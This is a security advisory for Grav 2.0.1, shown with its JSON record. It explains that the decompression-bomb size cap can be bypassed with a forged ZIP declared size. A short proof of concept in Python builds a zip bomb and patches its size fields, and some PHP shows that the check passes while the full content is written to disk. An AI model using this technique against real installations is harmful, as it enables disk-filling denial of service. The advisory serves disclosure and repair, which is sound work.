GHSA-8H9X-89F2-M7X3
Vulnerability from github – Published: 2026-09-17 14:53 – Updated: 2026-09-17 14:53Summary
The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums ZipArchive::statIndex($i)['size'] and rejects an archive whose declared uncompressed total exceeds system.gpm.archive.max_uncompressed_size (default 1 GiB) before extracting (ZipArchiver.php:77-86; same logic in GPM\Installer::unZip at Installer.php:228-238). statIndex()['size'] is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while extractTo() writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.
Details
extract()/unZip() validate every entry up front, then call Folder::create + extractTo. The size check is:
$totalSize += (int) $stat['size']; // declared central-directory size
if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }
$stat['size'] is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during extractTo, so a forged-small value passes the gate and the real stream inflates to disk. The max_files (entry count) and max_depth (entry-name segments) checks are not forgeable this way.
PoC
Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:
import zipfile, struct
data = b'\x00' * (10*1024*1024)
with zipfile.ZipFile('bomb.zip','w',zipfile.ZIP_DEFLATED) as z:
z.writestr('big.bin', data)
raw = bytearray(open('bomb.zip','rb').read())
raw = raw.replace(struct.pack('<I', 10*1024*1024), struct.pack('<I', 1))
open('bomb_forged.zip','wb').write(raw)
Drive the exact pre-extraction loop, then extract:
$zip = new ZipArchive(); $zip->open('bomb_forged.zip');
$total = 0;
for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; }
// => $total === 1 (what the 1 GiB bound checks: PASSES)
$zip->extractTo('/tmp/zout');
// => filesize('/tmp/zout/big.bin') === 10485760 (written despite the cap)
Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.
Impact
A forged archive fills the disk / exhausts inodes during extraction. Reached via GPM\Installer::unZip (gpm install / direct-install / self-upgrade) and admin backup restore (ZipArchiver::extract). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.
Fix
ZipArchiver.php:77-86 and Installer.php:228-238: don't trust the declared size. Extract each entry through a counting stream (ZipArchive::getStream + fread loop) and abort once cumulative written bytes pass max_uncompressed_size, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. max_files and max_depth remain effective.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.1"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.1"
]
}
],
"aliases": [
"CVE-2026-61449"
],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T14:53:33Z",
"nvd_published_at": "2026-07-15T17:16:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums `ZipArchive::statIndex($i)[\u0027size\u0027]` and rejects an archive whose declared uncompressed total exceeds `system.gpm.archive.max_uncompressed_size` (default 1 GiB) before extracting (`ZipArchiver.php:77-86`; same logic in `GPM\\Installer::unZip` at `Installer.php:228-238`). `statIndex()[\u0027size\u0027]` is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while `extractTo()` writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.\n\n### Details\n\n`extract()`/`unZip()` validate every entry up front, then call `Folder::create` + `extractTo`. The size check is:\n\n```php\n$totalSize += (int) $stat[\u0027size\u0027]; // declared central-directory size\nif ($maxSize \u003e 0 \u0026\u0026 $totalSize \u003e $maxSize) { ... reject ... }\n```\n\n`$stat[\u0027size\u0027]` is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during `extractTo`, so a forged-small value passes the gate and the real stream inflates to disk. The `max_files` (entry count) and `max_depth` (entry-name segments) checks are not forgeable this way.\n\n### PoC\n\nBuild a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:\n\n```python\nimport zipfile, struct\ndata = b\u0027\\x00\u0027 * (10*1024*1024)\nwith zipfile.ZipFile(\u0027bomb.zip\u0027,\u0027w\u0027,zipfile.ZIP_DEFLATED) as z:\n z.writestr(\u0027big.bin\u0027, data)\nraw = bytearray(open(\u0027bomb.zip\u0027,\u0027rb\u0027).read())\nraw = raw.replace(struct.pack(\u0027\u003cI\u0027, 10*1024*1024), struct.pack(\u0027\u003cI\u0027, 1))\nopen(\u0027bomb_forged.zip\u0027,\u0027wb\u0027).write(raw)\n```\n\nDrive the exact pre-extraction loop, then extract:\n\n```php\n$zip = new ZipArchive(); $zip-\u003eopen(\u0027bomb_forged.zip\u0027);\n$total = 0;\nfor ($i = 0; $i \u003c $zip-\u003ecount(); $i++) { $total += (int) $zip-\u003estatIndex($i)[\u0027size\u0027]; }\n// =\u003e $total === 1 (what the 1 GiB bound checks: PASSES)\n$zip-\u003eextractTo(\u0027/tmp/zout\u0027);\n// =\u003e filesize(\u0027/tmp/zout/big.bin\u0027) === 10485760 (written despite the cap)\n```\n\nVerified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.\n\n### Impact\n\nA forged archive fills the disk / exhausts inodes during extraction. Reached via `GPM\\Installer::unZip` (`gpm install` / `direct-install` / `self-upgrade`) and admin backup restore (`ZipArchiver::extract`). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.\n\n### Fix\n\n`ZipArchiver.php:77-86` and `Installer.php:228-238`: don\u0027t trust the declared size. Extract each entry through a counting stream (`ZipArchive::getStream` + `fread` loop) and abort once cumulative written bytes pass `max_uncompressed_size`, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. `max_files` and `max_depth` remain effective.",
"id": "GHSA-8h9x-89f2-m7x3",
"modified": "2026-09-17T14:53:33Z",
"published": "2026-09-17T14:53:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61449"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61841"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.